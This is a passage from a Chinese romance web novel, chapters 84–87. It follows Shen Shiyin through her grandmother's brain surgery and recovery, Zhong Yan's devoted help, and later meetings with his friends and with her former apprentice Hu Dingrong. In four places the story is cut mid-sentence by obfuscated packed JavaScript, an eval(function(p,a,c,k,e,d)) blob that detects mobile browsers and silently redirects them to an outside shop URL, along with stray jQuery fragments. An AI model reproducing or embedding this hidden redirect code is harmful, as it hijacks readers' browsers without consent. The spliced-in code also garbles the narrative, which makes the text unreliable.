公司同事,特别是这个项目的成员也都来看过了。赵云萱连连惊叹道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357097|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制作也太精良了吧!尤其是这个建筑模型,怎么连横梁和系柱这种细节都有啊,要不是建筑师还真做不到这么细致。” 沈时因在一旁拿手机拍照,她先拍了张远景,随后又拉近拍了一张,也就是拍到了赵云萱所说的细节。 等收起手机,沈时因才发现赵云萱正好整以暇地看着她。 “我脸上有东西?”沈时因问。 赵云萱鬼鬼祟祟地凑过来,低声道:“你们是不是已经在一起了?” 赵云萱口中的“在一起”对于沈时因来说就是复合,她摇摇头说:“没有。” “还没有?”赵云萱有些惊讶地瞪大了眼睛,“那你还在等什么?” 沈时因也不知道还在等什么,但他们好像就是回不去了。“总之就是还没有,你不要再问了。” 沈时因还带外婆来了一次,她化身导游,绘声绘色地讲述道:“看!这就是世界第一高楼——哈利法塔,总高度828米。我当年就去过第256层,还能看见云层,腾云驾雾大概说的就是这样……还有,这是您孙女我修建的跨海大桥,全长二十公里,用了两百个桥墩,中间这几个还是我冒着生命危险潜到水里才完成了浇筑。” 沈外婆本来听得兴致勃勃,最后那句话一出,她抄起拐杖就作势要打沈时因的腿,“你还冒着生命危险?那么大一个跨国企业,离了你就干不下去了?需要你去挑大梁?” 沈时因见势不对,拔腿就往前跑,结果沈外婆驾驶起轮椅来堪比赛车,最后还来了个漂移,稳稳当当地停在了沈时因身前。 沈时因被拦住去路,气喘吁吁地说:“行了,知道你是赛车手了。” 沈时因发现外婆的脾气日益见长,她每天在家夹着尾巴做人,还是免不了动不动就挨批受教育。她的年纪越大,好像就越担心独留沈时因一人在这世上挨欺负似的,总想对她耳提面命。 这天晚上,沈时因回来得晚,本来以为外婆已经睡下了,正蹑手蹑脚地换鞋,黑漆漆的客厅里突然想起一道声音:“你怎么又瞒着我?” 沈时因抬手打开灯,一脸茫然:“我瞒你什么了?” “好啊,还敢在我面前装傻。你可真是长本事了,还敢跟人打官司!法院的传票都寄到家里来了。”外婆把手里的信件往前一扔,随即扶着额角叹气。 沈时因从地上捡起来一看,这的确是从法院寄来的,但那是关于赵广生判决处罚的结果通知。她解释道:“事情都已经解决了,我也不是被告,我合理合法地用法律的武器保护自己,这不就是您一直教我的么。” “可你好端端的怎么会牵扯进这种事件里呢,我们当了一辈子老实本分的良民。不是都告诉你了别去惹事吗,能退让就退一步,别去逞一时之快。” 沈时因捏着手里的信纸,她抬起脸,厉声说:“我不去惹事,那别人就不会来招惹我了吗,我才不要任人欺负,我就要让他长个记性!” 外婆抬起手,指着沈时因,像是想再说些什么,可她嘴唇张了又张,最后什么也没能说出来,反倒是一口气没上来,整个人都往前栽了下来。 “外婆!”沈时因连忙冲过来扶住人,外婆已经双眼紧闭,胸口却还在剧烈地起伏着,她哭着喊:“外婆,你醒醒!” 84.第 84 章 钟琂第二天上午才知道外婆出事了,沈时因没来上班,他在内网查询人员到岗情况的时候看见她的请假理由。 他急匆匆地赶到医院,梁冉已经在了。钟琂走上前问:“人呢?” 梁冉眼眶微红,还以为他问的是外婆,朝手术室努了努嘴:“还在做手术。” 钟琂着急地问:“沈时因呢?” “守在门口不走,一晚上没合眼了,给她买的早饭也不吃。”梁冉叹息着说。 钟琂不放心地抬头望了一眼,嗫嚅着问:“外婆的情况……很严重?” “脑血管上的毛病,本身不是什么大手术,成功率挺高的。就是年纪大了,难免有些不确定因素。总之现在一切都还是未知数。” 钟琂点点头,走到走廊的尽头,也就是手术室的门前。沈时因佝偻着身子,整个人都蜷缩在座椅上,她的头发垂在脸庞,脸上晦暗不清,只能看见些许泪痕。 钟琂在她身前蹲下,拨开她的头发别到耳后。 沈时因还是没什么反应,定定看着钟琂,眼睛空洞无神。 “沈时因,你应该注意自己的身体,不然连你也倒下了,那谁来照顾外婆?” 沈时因终于有所反应,她目光微动,可下一刻双眼又噙起了泪,她哽咽着说:“都怪我……是我非要跟外婆吵架,把她给气着了,明明只要顺着她就好了……可我们以前也经常吵,我还以为就跟之前一样……” 沈时因再也说不下去,她嚎啕大哭起来。钟琂把她抱在怀里,总觉得她的身躯好像比之前单薄些了,怀中传来的全是脆弱与无助。 “好了好了,”钟琂摸摸她的背说:“会好起来的,你相信我。” 接下来的时间,梁冉坐在沈时因旁边陪着她,钟琂一整个上午都在忙前忙后地操持。他下楼去给沈时因和梁冉买了些吃的和矿泉水,外婆如果做完手术出来也需要住院,他去买了很多生活用品,还往就诊卡里充了钱,提前预定了一间单人病房。 到了中午,手术还没结束。梁冉吃了钟琂买来的午饭,但沈时因还是不吃,摆在她旁边的餐盒原封不动地放着,包装都没打开。 梁冉把钟琂拉到楼道,担心地说:“再这样下去不是办法,她总是不吃东西也不喝水,要不要把人强行带去输营养液?” 钟琂也在犯愁,他看了一眼还蜷缩着膝盖的沈时因,说:“她这个人主意正,有时候还容易犯犟,没人能强迫她做什么。” “那怎么办,总不能就这样干等着。” 钟琂想了想,“你先陪着她,我出去一趟。有什么事给我打电话。” 下午三点左右,漫长的等待总算告一段落,指示灯上方的“手术中”字样熄灭,病床上的外婆被推出来,主刀医生也走了出来。 沈时因终于活过来了,她站起来一个箭步冲到医生面前,眼里全是红血丝:“怎么样了,手术还顺利吗?” “手术很成功,但病人还会昏迷几天。这次主要是由脑血管动脉瘤引起的晕倒,幸亏送来得及时,术后要注意观察,如果持续不醒的话再做造影复查。” 沈时因听得云里雾里,只捕捉到“成功”两个字,心里总算稍微松了口气,“那要转入重症监护室?” “不用,转到普通病房即可。后续可能还会有相应并发症,家属过来一趟……” 沈时因去缴费的时候发现卡里多了几万块钱,外婆也转进了单人病房。她从医生办公室回来,病床上的外婆还没醒,身上和头上都插满了管子。沈时因忽然又很想哭,她的外婆遭了太多罪了。 梁冉走过来劝道:“你还是先吃点东西,然后睡一觉,不然该撑不下去了。最难的一关已经过了,你要爱惜自己的身体。” 沈时因还是摇头,“我吃不下,心里堵得慌。而且这种时候我怎么可能还睡得着?” 沈时因守在外婆的病床前,一瞬不瞬地看着她。由于快两天没休息过,再加上哭过很多次,沈时因的眼睛酸涩肿胀,她正揉着眼,身边忽然递过来一个冰袋。 梁冉说:“这是钟琂留下的,他还买了好多零零散散的生活品,饭盒水杯一类……那边的水果和糕点也是他带过来的。” 沈时因环顾四周,没看见人,“他已经走了?” “也不是走……”梁冉不太清楚他的去向,“就是刚过中午那会儿,他说要出去一趟,可能有事吧。哦,对了,外婆做完手术了我还得通知他一声。” 梁冉走出病房打电话,听筒那端有些嘈杂,但钟琂明显如释重负了,他很快问:“那沈时因吃饭了吗?” “还是没有,外婆没醒过来,她就还绷着那根弦,不敢放松。” 挂断电话,梁冉回到病房继续陪着沈时因。天快黑的时候,钟琂回来了,他到的时候沈时因正在劝梁冉回去,“你快走吧,明天还得上班。这里有我就行。” 钟琂也说:“梁冉,你还是先回去,我晚上守夜。你不用担心。” 梁冉三步一回头,都走出病房了还在叮嘱:“那外婆有什么情况了你随时通知我,我明天下班了和郑意成一起过来。” 梁冉一走,病房里除去一个昏迷不醒的外婆,就只剩沈时因和钟琂了。 沈时因坐在病床旁边,还是目不转睛地盯着床上的人。钟琂提着纸袋走到她面前,从里面拿出一个盒子,声音很轻地对她说:“这是芋泥蛋糕,我把店里剩下的全买了。” 沈时因没说话,看上去也不太有兴趣的样子。钟琂把蛋糕放在她的膝盖,往前推了推,“我记得你以前很喜欢吃的,在梁冉的婚礼上……还有郑牧也给你买过,你开会途中都要下去拿。” 沈时因的手里也被塞了一个叉子,钟琂用近乎哀求的语气说:“你尝尝,哪怕就吃一口。” 芋泥的香味传进沈时因的鼻子里,她好像在这一刹那恢复了嗅觉,其它痛感也重回体内,她开始觉得饥肠辘辘。 “你消失一个下午,就是为了去买芋泥蛋糕?”沈时因问。 “我也没想到会花这么长的时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368731|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”钟琂说:“城里一共就两家连锁店,我先去了第一家店,好不容易排到我了,结果店里卖完了,我赶紧开车去下一家,又排了三个多小时才买到。” 钟琂解释说:“平时没这么火爆的,但今天蛋糕店刚好官宣了与什么大ip的合作,买商品就送周边,就演变成了这种盛况。排队的全是粉丝和黄牛,我买完之后站在门口,把赠送的那些周边全送出去了。” 沈时因从他离开的时间开始算起,“也就是说,你今天一共排队了五个小时?” “差不多吧,我没仔细算。”钟琂还盯着她说:“你快吃啊。” 如果沈时因再不吃,钟琂指不定还会做出什么不堪设想的举动。她用叉子戳起一块放进嘴里,钟琂看上去都恨不得给她跪下磕头了。 “你真是笨死了,”吃到一半,沈时因说:“如果别人都只想要周边礼盒,那你就从已经买到的人手里买蛋糕不就好了?” “我试过,我在门口蹲守了一段时间,说要加价买蛋糕,问了两三个人都被拒绝了。没过多久店员也出来驱赶我,说我扰乱秩序。” 想到钟琂被驱赶的样子,沈时因莫名觉得有点滑稽。以前都是他制定一大堆章程规定,说得别人哑口无言,没想到还有这种吃瘪的时候。 沈时因吃完蛋糕,钟琂也已经在旁边铺好了床,“你在这里睡,我来守夜,我本来也不喜欢睡觉。” 医生刚刚已经来看过了,各项数值都在正常范围内,恢复情况还算不错。沈时因也终于不像最开始那样紧张了,她犹疑着说:“我还想回去拿几件换洗衣服。” “我去给你拿,”钟琂连忙站起来,“你好久没睡觉了,这种情况下不能开车。” 钟琂说得有道理,沈时因把大楼门禁卡和家里的钥匙都给了他,“那你随便带几件就行。” 就这样,沈时因连请了一周的假,日夜守在外婆的病床前。钟琂有时候会回公司处理一些事,但基本都是白天,而且很速战速决,不出几个小时就一定会回来。他也从不空手出现,不是提着些蛋糕水果,就是提前买好了午饭或晚饭。 晚上他们说是轮流守夜,但实际上沈时因有几次半夜醒来都看见钟琂精神抖擞地忙这忙那,睡意全无的样子。钟琂总会走过来拍拍她的背,“你接着睡吧,我还不困。” 梁冉和郑意成一起来看望过几次,付奶奶也和家人来过,鉴于外婆还昏迷着,沈时因又有点恹恹的,钟琂也就自然而然地承担起了招待的重任。 他这个人好像有点闲不下来。住院楼错综复杂,容易迷路。钟琂每次都会提前下楼等着,把人接上来之后常常还要负责陪聊和解答疑问。医院规定的探病时间一到,他就再把人送下去。 有天下午,钟琂忙完公司的事赶回医院,他在进去之前隔着门上的观察窗看见了郑牧。 他们并排坐在外间的沙发上,不知聊到了什么,沈时因低垂着脸,神色有些悲恸。郑牧抽了张纸想给她擦眼泪,另一只手也放上去,拍了拍她的肩。 85.第 85 章 钟琂看见这个郑牧就心烦,这都不是他就职的医院,怎么还能找过来? 钟琂敲了敲门,随即按下门把走进去。郑牧看见他的时候明显一愣,脸上有些讶异,钟琂也看了他一眼,但还是冷着脸,什么也没说地走过去把刚送过来的果篮和牛奶放到墙角码放好。 郑牧有点尴尬地站起来,对沈时因说:“那我先走了。你也不要太难过,这种手术恢复起来还是很快的,后期一定要注意护理。” 沈时因跟着他走到门口,“那我送你下去。” 钟琂本来隔着一点距离,这时突然问:“医生来过了吗,昨天说要换药的。” 沈时因转头说:“来过了,基本检查都做了一遍,新换的药也输上了。” 她在说话的时候郑牧也一直看着钟琂,后者不论是对病房还是对外婆的病情都很了如指掌的样子。等沈时因再转回脸,郑牧说:“别送我了,你也要注意身体,多休息。” 沈时因点点头,“好,那再见。” 沈时因走回病床前,她站在一侧,钟琂在她对面。沈时因把下边的被褥掀开,“郑牧说要经常给外婆揉一揉腿脚,因为一直躺着,肌肉容易萎缩。” 钟琂说:“好,那我们一人揉一边。” 说完,他也学着沈时因的样子,给外婆按摩起腿部的肌肉。 “郑牧还说了,术后可能会有后遗症,手脚不灵活之类的。外婆本来腿脚就不灵便,一定得加强锻炼才行。” 钟琂手里的动作一顿,“我也查过了,等外婆醒来以后最好让她多做一些精细动作的训练,比如夹豆子之类的。我看医院也有康复疗程,我们给外婆订一个吧。” 沈时因说:“好,那我一会儿去问问。” 外婆真正醒来是在术后的第五天。钟琂很庆幸这一刻他和沈时因都在场,他们在第一时间叫来了医护人员,在又一次的全身检查之后,主治医生宣布恢复良好,再过两天就能出院了。 钟琂亲眼见证了祖孙俩的抱头痛哭,当然主要还是沈时因在哭,外婆倒是笑得乐呵:“我昏迷的时候你是不是也总趴在我身上哭?我当时就暗暗想着一定得醒过来,不然你还不知道会哭成什么样。” 出院这天,梁冉和郑意成也来了。钟琂和郑意成搬东西,沈时因和梁冉左呼后拥地围在外婆身边,一个推车,另一个就在前面吆喝着开路。 浩浩荡荡地回到家,刘阿姨已经提前做好了外婆的营养餐,沈时因还对她嘱咐了一些日常照看的要点,医生开的药也都按用法写好字条交给了刘阿姨。 交待完这些,余下四个年轻人出门吃饭。沈时因早就说好了要请客,刚一落座,她举起杯说:“感谢大家这段时间对我和外婆的帮忙和照顾。” 碰完杯,梁冉感叹道:“好在都是虚惊一场,医生还说外婆是铁娘子,求生意志异常强烈。” 沈时因叹了一声说:“年纪上来了,身体的各个零件都面临老化,以后肯定小毛病不断,要当医院的常客了。” 他们其实已经好久没有四个人坐下来聚聚了,距离上次的不欢而散也过去了快一年。吃到后半程,也就是“酒”酣耳热之际,梁冉主动站起来给钟琂倒了杯茶,“那个……钟琂,我敬你一杯。以前是我太冲动,你不要放在心上,我们都是为因因着想的人,我也是盼着她好。” 钟琂也跟着站起来,很爽快地说:“我本来就没有放在心上。” 吃完饭,一行人走出来,梁冉还想单独和沈时因坐坐,郑意成忽然把她拉到了一边,小声问:“已经复合了?” 梁冉挠了挠头,“我也不太清楚,正想找她问问。” “那你别问了,我们快走吧。”郑意成拉着梁冉上了车,几人隔着车窗挥手作别。 沈时因和钟琂慢慢踱着步,穿过巷子回家。快走到楼下的时候,沈时因停下来,对钟琂说:“就送到这里吧。” 钟琂说:“你先上去,等你出现在了防护栏后面我再走。” 沈时因已经很清楚这个流程,她踟蹰着转身,好像总觉得该说点什么。 “钟琂,我……” “没关系的,”钟琂说:“这段时间发生了太多事,你先好好陪外婆,不用急着考虑我们的关系。” 沈时因向他报以一个感激的眼神,“还有,刚才吃饭的时候我感谢了很多人,但最应该谢谢的还是你。” 这段时间要是没有钟琂,沈时因不一定挺得过来。特别是在最开始事情爆发的时候,她被打击得体无完肤,好多事都没考虑周全,全靠钟琂帮忙。 “你往卡里充的那些钱,我找时间还你。” 钟琂还是不想收,但他不想让他们之间的关系掺杂太多与感情无关的事,尤其是这个时期。沈时因本来就觉得他们之间不够平等了。 钟琂顺着她说:“不用着急。” “那我走了。”沈时因说。 钟琂还站在原地,就像过去的每一次那样。他说:“好,我看着你上去。” * 都说经历重大人生变故会让人性情大变,外婆好像也不例外。在从鬼门关走了一趟之后,她的性子彻底静了下来,不开着轮椅出去飙车了,不再天天管着沈时因,常挂在嘴边的话也变成了“活着真好”。 这大概是一种出于对生命的敬畏。外婆变得很喜欢发呆,常常望着天、看着树,再感受着微风、听着鸟鸣,好像这样就可以很有趣。 沈时因开始花很多的时间陪伴外婆,一到周末就开车带她和付奶奶去附近山里赏花踏青。她有时候自己也坐在凉亭里,什么正事也不做,只看着涓涓流过的溪流,内心好像也能获得一股平静的力量。 有天晚上,沈时因刚下班回来就看见门口堆了好几个纸箱子。 外婆还坐在沙发看电视,似乎在等她,“你过来坐下,我有话跟你说。” 沈时因换好鞋走过来坐好,外婆郑重其事地对她说:“我不想插手你的事,你和钟琂走到哪一步了我也不多问。但我住院期间,人家忙前忙后帮了不少,我们还是该送点东西表示感谢,这是基本的礼数。” 沈时因说:“行,那我买点东西去送。” “不用,我已经买好了。”沈外婆指指门口的纸箱说:“这些都是我从上次那个客栈老板手里买的山泉,绝对纯天然,一瓶好几十呢,你就拿两箱去送给钟琂。” 沈时因:“……您别不是被骗了吧?” “什么被骗,买的人可多了,要不是我常去都买不上。还有那几个花盆你也端过去,正好他家的花园就缺这颜色。” 外婆负责布置任务,可这让实际操作的沈时因犯起了难。她第二天早上出门前看着这些东西,叫苦不迭:“这也太重了。” “下楼有电梯,路上还有车,又不让你徒手举着坐地铁。” 沈时因最近都尽量顺着外婆,不跟她掰扯。 她先把水和花盆搬运到车里,再开车到公司停车场。她在路上就想好了,下班之前再联系钟琂,到时候直接在停车场进行交接,把这些物品从一个后备箱转移到另一个后备箱。 沈时因正常上了一天班,她看准时间,专程提前了几分钟去钟琂的办公室找他。 总经理办公室的灯已经关了,门也锁了。沈时因踮起脚往里看了一眼,电脑屏幕也黑着,桌面一片整洁。 不管怎么看,钟琂都是提前下班了。可这很不合常理,今天没什么需要外出的工作,钟琂也从来不提前下班。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403632|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈时因回去收拾好东西,走到停车场,她开着车转了一圈,还是没看见钟琂的车。不知不觉开出了地库,沈时因在下一个路口拐进去,来到了钟琂居住的别墅区。 小区登记的车牌号记录还在,门口的保安也还认识她,沈时因就这样一路畅通地把车开了进来。 沈时因把车停在步道,打开后备箱,把两箱水和几个花盆搬到了门口,她按了按门铃,没人应。她又拿出手机给钟琂打电话,打了两个,都没接。沈时因站在门口,忽然有些无措。 自从重逢以后,好像一直都是钟琂主动来找她,她也默认了钟琂在国内的交际圈子只有她和同事,可实际上钟琂下班以后会做什么、去哪里,她毫无头绪。 真要说起来,沈时因其实没什么立场去追究他的去向,他也不需要随时向她这个前女友报备。可这种找不到人的感觉多少令人……有点烦躁。 沈时因的手放在门把上,她靠着站了一会儿,钟琂还是没给她回电话。她本来打算就这么走了,但手指忽然碰到指纹锁的面板,让它发出了“滴滴”的响声。 沈时因不太确定门锁会不会自动报警,她正弯下腰查看,指腹触碰过的地方像是感应成功,她眼睁睁地看着面前的门竟然就这样开了。 “咦?”沈时因站在门口怔愣几秒,都多久了,钟琂怎么还没把她的指纹信息删掉? 门的后面一片漆黑,寂静无声地昭示着里面确实空无一人。沈时因心一横,索性把地上的东西往里搬,花盆下面还有土,她直接放进了小花园里。 做完这些,沈时因站在餐桌旁边给钟琂发信息:【外婆让我给你送点东西,放在外面容易被当成垃圾收走,我就……】 忽然,原本安静的四周蓦地响起了说话声,是一道女声,更要命的是那道声音还由远及近,明显就是冲着这里来的。 沈时因还没来得及打完字,她赶紧摁熄屏幕,想往外走。然而外面的人也已经走到了门口,那道女声愈发清晰,听得出来是个很年轻的女孩,“你回国怎么没换房子住,这么大一栋楼,你住着也不嫌冷清?” 钟琂该不会带别的女人回来了吧……沈时因赶紧刹住脚,眼看就要撞上了,她心急火燎地往回走,在楼梯前犹豫了一瞬。 要不要先去阁楼躲起来?他们进来之后肯定不会一直在客厅待着,到时候寻个机会溜出去也行,可万一被发现了,她躲起来不是更奇怪吗。更何况东西都搬进来了,她总不能逃跑途中还带着两箱水。 正是这拿不定主意的分秒之间,让沈时因错过了最佳“逃生”机会,门已经开了,钟琂身边的那个女孩子还在喋喋不休:“那到底还能不能见到传说中的沈时因了?你之前还说要介绍给我们认识,她是不是不想见我们?” 钟琂打开墙上的一排灯,整个室内变得灯火通明。也正是这骤然亮起的灯光,让楼梯旁边的一个人影无所遁形。 沈时因进也不是,退也不是的,手都不知道该往哪放了。对面三人也齐齐愣住了,他们还站在玄关,旁边放着几个大行李箱,除了钟琂,其他两人是一男一女,看着有点眼熟。 钟琂最先反应过来,他往前迈了几步,站在中间说:“这就是沈时因。” 紧接着,他看向沈时因,继续介绍道:“这是我的好朋友,蒋斯年和何茹。” 两拨人互相笑了笑,算是认识。然而尴尬还在蔓延,沈时因手心都出汗了,表情也很僵硬。钟琂看了看她,也很困惑,“你……” 他环顾四周,一时之间都不知道该从何问起了,“你在家怎么也不开灯?” 沈时因的声音细如蚊呐:“我给你打电话了,你没接。” “我去机场接人了,刚才一直在开车。” 86.第 86 章 钟琂先安顿两个远道而来的客人坐下,倒好了水才走到楼梯旁边。他低声问沈时因:“那你本来在电话里打算说什么?” “外婆让我给你送点东西过来,有两箱水,她说是纯天然山泉,还有几盆花,我都放在小花园了。我本来站在门口扶着门把手,结果不小心把门打开了,你怎么还没删我的指纹?” 钟琂往小花园看了一眼,选择性地忽略了她的最后一句提问,“那你帮我谢谢外婆。对了,我还给她买了一个按摩仪,你在这里等我一下。” 钟琂走到储藏室去拿东西,沈时因还站在楼梯旁边,她从刚才起就一直没挪位置。 “哇,”不远处忽然传来何茹的惊叹:“这个露台好漂亮,这些建筑模型制作得真精美。” 沈时因侧过身子,往前探出头张望,原来钟琂把灯会那些展品都搬到这儿来了,晚上一亮灯,就像一个小型的建筑会展。 钟琂毫不意外地又是提着大包小包出现。沈时因问:“我怎么记得你以前送过一个按摩仪了?” “不一样,上次是按摩腰的,这是腿。还有一些做精细训练的用具,对了,外婆开始做康复训练了吗?” 沈时因说:“还没有,下个月开始。” 钟琂看向正在露台参观的好友,他们本来很想认识沈时因,现在见着人了,但并不是钟琂之前希望的那种正式场合,沈时因也不太自在。 钟琂走过去打了声招呼,再返回的时候对沈时因说:“东西太多了,我帮你提到车上。” 沈时因在走之前也笑着摆了摆手,露台那两人看上去都很友好,但探究的目光还是若有似无地落在她脸上。 “他们都对你很好奇,因为我以前一直对谈恋爱之类的事不感兴趣。”钟琂走到外面才说:“你不要介意。” 沈时因说:“哦……没关系,这很正常。” 他们走在小区里的树丛间,钟琂主动向她汇报起自己的行程:“我前段时间本来打算回家一趟,你也知道,后来没走成,我爸妈就决定过来看我。蒋斯年和何茹知道以后也吵着要回来,结果他们买的机票比我爸妈还早,今天下午我提前下班就是去机场接他们。” 沈时因问:“他们要住你家?” “他们就是先来坐坐,晚点再回酒店。”钟琂有些无奈地说:“刚回国很兴奋,再加上时差,估计要半夜才回去睡觉。” “那你爸妈什么时候到?” 钟琂说:“明天晚上,他们在国内还有一些老同学老朋友,第一天就已经安排好饭局了。” 两人已经走到了沈时因的车旁边,钟琂停下脚步,忽然问:“我是不是不应该在你面前提起我爸妈?” 沈时因差点没反应过来,原来钟琂在顾虑她没有父母,怕勾起她不好的回忆。沈时因赶紧说:“不会的,哪有那么多忌讳……” 她只是在想,接下来的一段时间钟琂应该都要忙着陪伴家人朋友。 博物馆还在如火如荼地施工,正进行到主体结构的土建阶段,钟琂果然常常见不着人影。他一般会在项目初期,也就是立项和设计阶段参与度最高,中途定期去看看,快竣工封顶的时候才会再经常出现。 沈时因每周都会定期去检查进度,还会做下一道工序和施工段的技术交底,但她一次也没遇见钟琂。 大约是因为一个季度结束,春夏交替的天气阴雨绵绵,常让人提不起劲来,最近休假和探亲的人也很多。 周一上午,沈时因刚从会议室出来,路过凌志才办公室的时候看见一人。虽然只匆匆瞥了一眼,但沈时因还是觉得惊喜万分,她快步走上去,难以置信地叫了一声:“胡定荣?” 前面那人回过头,晒得黝黑的皮肤,剃得短短的圆寸,一身非洲专属的长衣长裤打扮,跟这个市中心商业区的整体风貌显得格格不入。 “还真是你啊!”沈时因激动地走到他面前,“你什么时候回来的?” “昨天刚到,”胡定荣也笑了起来,“电视塔的主体结构告一段落,张工大发慈悲地给我们放了一个月长假,我回来探亲,顺便帮他办点事。本来准备事情忙完了再来找你。” 胡定荣看上去成熟了不少,说话也沉稳了,看来已经能在项目里独当一面。 “那你还要回去?”沈时因问。算算时间,胡定荣在非洲的时间比她还多一年了,这已经是一个历时较长的外派周期。 “要回去,我觉得非洲挺好的。这两天回来看见那么多的人和车,反倒还有点不适应。” 沈时因大笑着说:“我刚回来也这样。” 他们站在走廊里说话,散会的同事们人来人往的。胡定荣说:“正好到中午了,要不我们坐下聊?” “行啊,那我请你吃大餐。” 沈时因名义上还是胡定荣的师父呢,他刚到非洲的时候大学才毕业,是她手把手地教着画图、建模型,去外面吃饭也是她带着到处去敬酒认人。 胡定荣很有作为徒弟的自觉,到了餐厅刚坐下,他就拱起手说:“多谢前辈!” 吃饭途中,胡定荣很是感慨万千,“我最近也开始带新人了,每天都想发火,说了一万遍的事还天天问,让他做的工作也总因为马虎出现各种各样的疏漏。不过我后面回想起我刚去的时候应该也没好到哪去,但你一次也没对我发过脾气。” “是吗,”沈时因回想片刻,“我怎么记得你有回也把我气得不轻。就是我遇到鸵鸟了,想让你带着人过来驱赶,结果你躲在生活区呼呼大睡,我冲着对讲机嗓子都快喊哑了。” 几年前的事现在想起来竟有点恍如隔世了,胡定荣笑着说:“即使那次我犯这么大的错误,你也没对我说重话。” 沈时因点了些非洲不常见的菜,她跟照顾晚辈似地说:“你多吃点,不然回非洲又吃不到了。” 胡定荣应了一声,却反而放下筷子,“其实,我听说了关于赵广生的事。” 胡定荣指的是前段时间胡定荣带着人来公司总部胡闹的事。这件事在总部和几个分公司之间都传得沸沸扬扬,由于人事关系盘根错节,这桩新闻也漂洋过海,传到了非洲园区。 当然,胡定荣听说的事件版本主角不止有赵广生一个人,还有沈时因和钟琂。 沈时因一听见这个名字就气不打一处来,她叹着气说:“这个赵广生,真是把我害惨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422393|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,专会胡搅蛮缠,脸皮比城墙还厚。以前在非洲,我们就不该惯着他。” “是啊,当初围堰移位,你大晚上把我叫出来,也是因为他工作失职吧?” 沈时因点了点头,算是承认,“不过这些都过去了。” 胡定荣还给沈时因讲了很多以前同事的近况。张士明再过两年都该满六十了,他最近萌生了退意,但非洲那么大一个摊子还找不到人接。高层之间的权利结构也产生了变化,曹光的地位逐渐稳固,第一件事就是打压前总工留下的那些“残党余孽”,培植了一批新的自己人,胡定荣也得以沾光坐上了这趟顺风车。 他们一直聊到午休时间结束,分别之前,胡定荣说:“虽然大家都说你脾气好,不论对谁都和和气气的,我以前也这么以为。但我最近不这么想了,你走了以后我才意识到你几乎从不提起自己的私事,看上去好像跟谁都能聊到一起,但你都只是在听,在抛出问题,在承担一个更温情体恤的角色。” 沈时因垂下眼睫,脸上还是笑着的:“你说话怎么变得文绉绉的,打算跟我推心置腹?” “你看,就像这样。”胡定荣说:“其实有时候可以试着摘下保护罩,把更自我的一面露出来,真实的你也不会变得没朋友。” 沈时因也不知道有没有听进去他的话,总之分开的时候她还是笑着招手,看上去开朗阳光。 一连几天,胡定荣都在公司处理事务。除了自己的外派合同需要重续之外,张士明也安排了一大堆事情给他,比如督促着凌志才让他多拨点款,比如有份图纸传过来了让钟琂帮着审审,再比如看看有没有什么初出茅庐的好苗子,帮着劝劝来非洲。 张士明俨然把他当成非洲基地的活招牌了,每天打电话说的也是让他注意精神面貌,有空多替他们宣传宣传,说不定真就有人动心了。 胡定荣每天逢人就说非洲好风光,动物迁徙、日落草原,看过的人都说好。有没有人上钩他不确定,他只知道好多人一看见他就开始跑了。 办完这些事,胡定荣在一个风和日丽的上午站在了钟琂的办公室门前。 自从赵广生事件传到非洲,胡定荣心中就一直盘踞着一个疑问,那就是沈时因的离开到底跟钟琂有没有关系。 根据传闻中的说法,钟琂一直在单恋沈时因,并且追求无果。但胡定荣回想起沈时因走之前的反常举动,总感觉真相并不是这样…… 当时他本来在剪视频,沈时因上一秒还看得好好的,下一秒脸色就不对了,胡定荣还以为她身体不舒服,但一结合现在的传闻,那不就是在听见钟琂在视频里说的那句话以后才发生变化的吗?再说了,她在发生那件事之后很快就离开了非洲,一切都发生得太过猝然,根本不像正常调职。 但还有些地方说不通,比如沈时因明明不喜欢钟琂,那为什么会那么在意他当时说的话?钟琂既然承认了他喜欢沈时因,那他怎么在非洲的时候不追,偏要等到人回国了他才追回来? 总之胡定荣就是觉得事有蹊跷,但他理不顺,所以他决定把自己知道的事全都给钟琂讲一遍。 下定决心以后,胡定荣抬起手,敲开了钟琂的门。 87.第 87 章 